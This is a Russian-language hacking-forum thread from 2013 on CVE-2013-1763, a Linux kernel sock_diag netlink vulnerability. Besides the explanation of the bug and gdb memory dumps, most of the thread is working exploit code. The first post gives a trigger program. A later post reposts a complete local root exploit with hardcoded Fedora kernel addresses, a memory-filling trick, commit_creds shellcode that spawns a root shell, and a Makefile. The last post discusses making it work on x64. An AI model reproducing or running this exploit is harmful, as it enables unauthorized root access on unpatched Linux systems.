|
|
|||
|
|||||||
 |
|
|
Опции темы | Поиск в этой теме | Опции просмотра |
24.02.2013, 14:07
|
#1 | |||
CVE-2013-1763 SOCK_DIAG netlink Linux kernel 3.3-3.8 exploit
Эксплойт для Ubuntu 12.10 x86 | Fedora 18 x86 в 3-ем посте
Эксплойт для Arch 3.3.x-3.7.x x64 в 11-ом посте Цитата:
В ядре лежит массив из 40 указателей на структуры Код:
static const struct sock_diag_handler *sock_diag_handlers[AF_MAX]; Код:
129 hndl = sock_diag_lock_handler(req->sdiag_family); // возвращает адрес массива[наше_1-байтное_число] 130 if (hndl == NULL) 131 err = -ENOENT; 132 else 133 err = hndl->dump(skb, nlh); // вызов функции по указателю Код:
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syslog.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <netinet/in.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <resolv.h>
#include <dirent.h>
#include <fnmatch.h>
#include <getopt.h>
#include <netinet/tcp.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
int main(int argc, char*argv[])
{
int fd;
struct {
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
char buf[8192];
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
printf("Can't create sock diag socket\n");
return -1;
}
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
req.r.sdiag_family = atoi(argv[1]);//AF_UNIX;
req.r.udiag_states = -1; /* All *///f->states;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
int answer;
answer = send(fd, &req, sizeof(req), 0);
if (answer < 0) {
printf("Fuck on send\n");
close(fd);
return -1;
}
printf("pid=%d, answer=%d, enter:\n",getpid(), answer);
//getchar();
close_it:
close(fd);
return 0;
}
c1a487a0 b sock_diag_handlers Код:
(gdb) x/120x 0xc1a487a0 0xc1a487a0 <map_pid_to_cmdline+92288>: 0x00000000 0xe0e63024 0xe0fb40b00x00000000 0xc1a487b0 <map_pid_to_cmdline+92304>: 0x00000000 0x00000000 0x000000000x00000000 ... 0xc1a48880 <map_pid_to_cmdline+92512>: 0xc1a492b0 0x00113c00 0xc19a30c00xc14ebde0 (0xc1a48884 - 0xc1a487a0 ) / 4 (размер указателя 4 байта) = 57 Цитата:
Цитата:
 пейлоада здесь пока не будет.Подвержены 3.3 - 3.8. Последний раз редактировалось SynQ; 08.03.2013 в 11:15.. |
||||
|
|
|
25.02.2013, 20:06
|
#7 | ||||
Регистрация: 05.07.2010
Сообщений: 1,243
|
SynQ красавчег
http://seclists.org/oss-sec/2013/q1/427 кстати, почему в бубунте адреса прописываешь вручную? Можно ль побрутить? Цитата:
Цитата:
Цитата:
Код:
#include "shellcode.h"
#include "trigger.h"
#include "vmsuck.h"
typedef int (*dump_t)(void *, struct nlmsghdr *);
struct sock_diag_handler {
char family;
dump_t dump;
};
struct target {
const char *name;
size_t index;
void *prepare_kernel_cred;
void *commit_creds;
};
/* ...just in case you forgot the root password on your Fedora CPanel/Plesk ;) */
static struct target targets[] = {
/* ... */
{"Fedora Core 17 3.4.4-3.fc17.i686 #1", 57, VOIDP(0xc045bb50), VOIDP(0xc045b8e0)},
{"Fedora Core 17 3.5.2-3.fc17.i686 #1", 57, VOIDP(0xc045ec60), VOIDP(0xc045ea20)},
{"Fedora Core 17 3.5.5-2.fc17.i686 #1", 57, VOIDP(0xc045ed60), VOIDP(0xc045eb20)}
/* ... */
};
static size_t target_count = sizeof(targets) / sizeof(struct target);
void print_targets(void) {
int i;
printf("Available targets:\n");
for(i = 0; i < target_count; i++)
printf(" %.2d %s\n", i, targets[i].name);
printf("\n");
return;
}
/* Callback for `vmsuck()'; creates a `struct sock_diag_handler' that will
* be used to fill a 1G file.
*/
int new_sock_diag_handler(void **buf, size_t *size, void *arg) {
struct sock_diag_handler *sdh;
sdh = (struct sock_diag_handler *)malloc(sizeof(*sdh));
sdh->family = AF_UNSPEC;
sdh->dump = (dump_t)arg;
*buf = (void *)sdh;
*size = sizeof(*sdh);
return EXIT_SUCCESS;
}
int main(int argc, char *argv[]) {
struct target *t;
size_t i;
printf("\n");
printf("Linux kernel >= 3.2 NETLINK_INET_DIAG 0day\n");
printf("by huku <huku _at_ grhack _dot_ net>\n");
printf("\n");
if(argc < 2 || (i = (size_t)atoi(argv[1])) >= target_count) {
print_targets();
return EXIT_FAILURE;
}
t = &targets[i];
printf("Using target \"%s\"\n", t->name);
prepare = (prepare_kernel_cred_t)t->prepare_kernel_cred;
commit = (commit_creds_t)t->commit_creds;
printf("Current uid is %u\n", getuid());
printf("Sucking up the whole VM space\n");
if(FAILED(vmsuck(new_sock_diag_handler, (void *)shellcode)))
return EXIT_FAILURE;
if(FAILED(trigger(t->index)))
return EXIT_FAILURE;
if(getuid() == 0) {
printf("Kernel was asswooped\n");
execl("/bin/sh", "/bin/sh", NULL);
}
printf("Shit, or what?\n");
return EXIT_SUCCESS;
}
/* EOF? ;) */
#define _SHELLCODE_H_
#define REGPARM1 __attribute__((regparm(1)))
typedef REGPARM1 void *(*prepare_kernel_cred_t)(void *);
typedef REGPARM1 int (*commit_creds_t)(void *);
extern prepare_kernel_cred_t prepare;
extern commit_creds_t commit;
void shellcode(void);
#endif /* _SHELLCODE_H_ */
#include "vmsuck.h"
/* Create a 1G file used by `mmap()' in `vmsuck()'. */
static int build_vmsuck_file(vmsuck_callback_t vmsuck_cb, void *arg) {
void *buf;
size_t i, bufsiz;
char bigbuf[BUFSIZ];
int fd;
if(FAILED(vmsuck_cb(&buf, &bufsiz, arg)))
return EXIT_FAILURE;
memset(bigbuf, 0, sizeof(bigbuf));
for(i = 0; i < BUFSIZ / bufsiz; i++)
memcpy(bigbuf + i * bufsiz, buf, bufsiz);
if((fd = open(VMSUCK_FILE_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0700)) < 0) {
perror("open");
return EXIT_FAILURE;
}
for(i = 0; i < ONE_GIGA / sizeof(bigbuf); i++) {
printf("\rCreating 1G file...%.2f%%", GIGA(lseek(fd, 0, SEEK_CUR)) * 100);
write(fd, bigbuf, sizeof(bigbuf));
}
printf("\n");
close(fd);
return EXIT_SUCCESS;
}
/* Suck up the whole userspace virtual memory. */
int vmsuck(vmsuck_callback_t vmsuck_cb, void *arg) {
size_t pagesize_pow2 = (size_t)log2((double)getpagesize());
size_t pow2 = (size_t)log2((double)ONE_GIGA);
size_t size, num, total;
int fd;
void *p;
if(FAILED(build_vmsuck_file(vmsuck_cb, arg)))
return EXIT_FAILURE;
fd = open(VMSUCK_FILE_PATH, O_RDONLY);
total = num = 0;
size = 1 << pow2;
while(pow2 >= pagesize_pow2) {
p = mmap(0, size, PROT_READ | PROT_EXEC, MAP_PRIVATE | MAP_NORESERVE,
fd, ONE_GIGA - size);
if(p == MAP_FAILED) {
total += num * size;
#ifdef DEBUG
printf("2^%zu x %zu\n", pow2, num);
#endif
pow2--;
size = 1 << pow2;
num = 0;
}
else {
num++;
}
}
printf("%zub %fKb %fMb %fGb\n", total, KILO(total), MEGA(total), GIGA(total));
close(fd);
#ifndef DEBUG
unlink(VMSUCK_FILE_PATH);
#endif
return EXIT_SUCCESS;
}
BIN=woopme
CFLAGS=-Wall -Wno-unused-result -std=gnu99 -O2 -ggdb
LDFLAGS=-lm
all: $(OBJS)
cc $(OBJS) -o $(BIN) $(LDFLAGS)
.PHONY: clean
clean:
rm -fr $(OBJS) $(BIN) a.out *.core core *~
#include "trigger.h"
#define FROM AF_MAX
#define TO 255
#define SOCK_DIAG_BY_FAMILY 20
/* Trigger the vulnerability, yes that simple. */
int trigger(size_t index) {
int r = EXIT_FAILURE;
int fd;
size_t from, to, i;
__u8 buf[BUFSIZ];
struct sockaddr_nl snl;
struct inet_diag_req *req;
struct nlmsghdr *nlmsg;
struct iovec iov;
struct msghdr msg;
/* Create and bind the netlink socket; no root privs required. */
if((fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_INET_DIAG)) < 0) {
perror("socket");
goto _err;
}
memset((void *)&snl, 0, sizeof(snl));
snl.nl_family = PF_NETLINK;
snl.nl_pid = getpid();
if((bind(fd, (struct sockaddr *)&snl, sizeof(struct sockaddr))) < 0) {
perror("bind");
goto _err;
}
/* Destination: ring0 :) */
snl.nl_pid = 0;
/* Invalid index given? (ie. one that won't trigger the bug). */
if(index < AF_MAX) {
from = FROM;
to = TO;
printf("Will dereference sock_diag_handlers[%zu...%zu]\n", from, to);
}
else {
printf("Will dereference sock_diag_handlers[%zu]\n", index);
from = to = index;
}
for(i = from; i < to + 1; i++) {
memset(buf, 0, BUFSIZ);
nlmsg = (struct nlmsghdr *)buf;
nlmsg->nlmsg_len = NLMSG_LENGTH(sizeof(req));
nlmsg->nlmsg_pid = getpid();
nlmsg->nlmsg_flags = NLM_F_REQUEST;
nlmsg->nlmsg_type = SOCK_DIAG_BY_FAMILY;
req = (struct inet_diag_req *)NLMSG_DATA(nlmsg);
req->idiag_family = (__u8)i;
memset((void *)&iov, 0, sizeof(iov));
iov.iov_base = (void *)nlmsg;
iov.iov_len = nlmsg->nlmsg_len;
memset((void *)&msg, 0, sizeof(msg));
msg.msg_name = (void *)&snl;
msg.msg_namelen = sizeof(snl);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if((sendmsg(fd, &msg, 0)) != nlmsg->nlmsg_len) {
perror("sendmsg");
goto _err;
}
}
r = EXIT_SUCCESS;
_err:
close(fd);
return r;
}
#define _VMSUCK_H_
#include "includes.h"
#define ONE_KILO 1024
#define ONE_MEGA 1048576
#define ONE_GIGA 1073741824
#define KILO(x) (((float)(x)) / ONE_KILO)
#define MEGA(x) (((float)(x)) / ONE_MEGA)
#define GIGA(x) (((float)(x)) / ONE_GIGA)
#define VMSUCK_FILE_PATH "/tmp/ "
/* Returns an allocated buffer and its size. The buffer is used as a fill
* pattern for a 1G file used in `vmsuck()'. The last argument can be used
* by the user to pass arguments to the callback.
*/
typedef int (*vmsuck_callback_t)(void **, size_t *, void *);
int vmsuck(vmsuck_callback_t, void *);
#endif /* _VMSUCK_H_ */
#define _TRIGGER_H_
int trigger(size_t);
#endif /* _TRIGGER_H_ */
#include "shellcode.h"
/* A very sophisticated shellcode (sic). */
prepare_kernel_cred_t prepare = NULL;
commit_creds_t commit = NULL;
void shellcode(void) {
commit(prepare(NULL));
return;
}
the recently published `sock_diag_handlers[]' vulnerability :(
Have a look at the source code, there's a nice trick there (hint: vmsuck.c).
./hk
#define _INCLUDES_H_
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <math.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
/* #define DEBUG */
#define VOIDP(x) ((void *)(x))
#define FAILED(x) ((x) == EXIT_FAILURE)
#endif /* _INCLUDES_H_ */
не стоит и пытаться? PS: Код:
/* A very sophisticated shellcode (sic). */
prepare_kernel_cred_t prepare = NULL;
commit_creds_t commit = NULL;
void shellcode(void) {
commit(prepare(NULL));
return;
}
 Цитата:
Последний раз редактировалось Pashkela; 25.02.2013 в 21:33.. |
||||
|
|
|
|
26.02.2013, 10:22
|
#9 | |
|
overxor
Pashkela Спасибо! Это скорее 1day, обновления ядер прилетают потихоньку. Pashkela Цитата:
3.2 неуязвима, и вообще я разочарован эксплойтом huku, ожидал увидеть более надежный вектор, чем у меня, а там просто брутфорс, который не будет работать нигде кроме может объявленных в нем ядер федоры 17. Уж за год можно было написать, что-то лучше. 12309 C х64 проще, если найти место где со смещением 4 лежит указатель и затем int (например 0xffffffff81d6e6a8 0x00000000), можно быть уверенным, что попадем на user-land адрес 0x00000000ffffffff, который выше mmap_min_addr. Просто спрашиваешь или нужно? Последний раз редактировалось SynQ; 26.02.2013 в 13:42.. |
||
|
|
|
|
| Метки |
| exploit, kernel |
| Опции темы | Поиск в этой теме |
| Опции просмотра | |
Линейный вид
|
|
Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot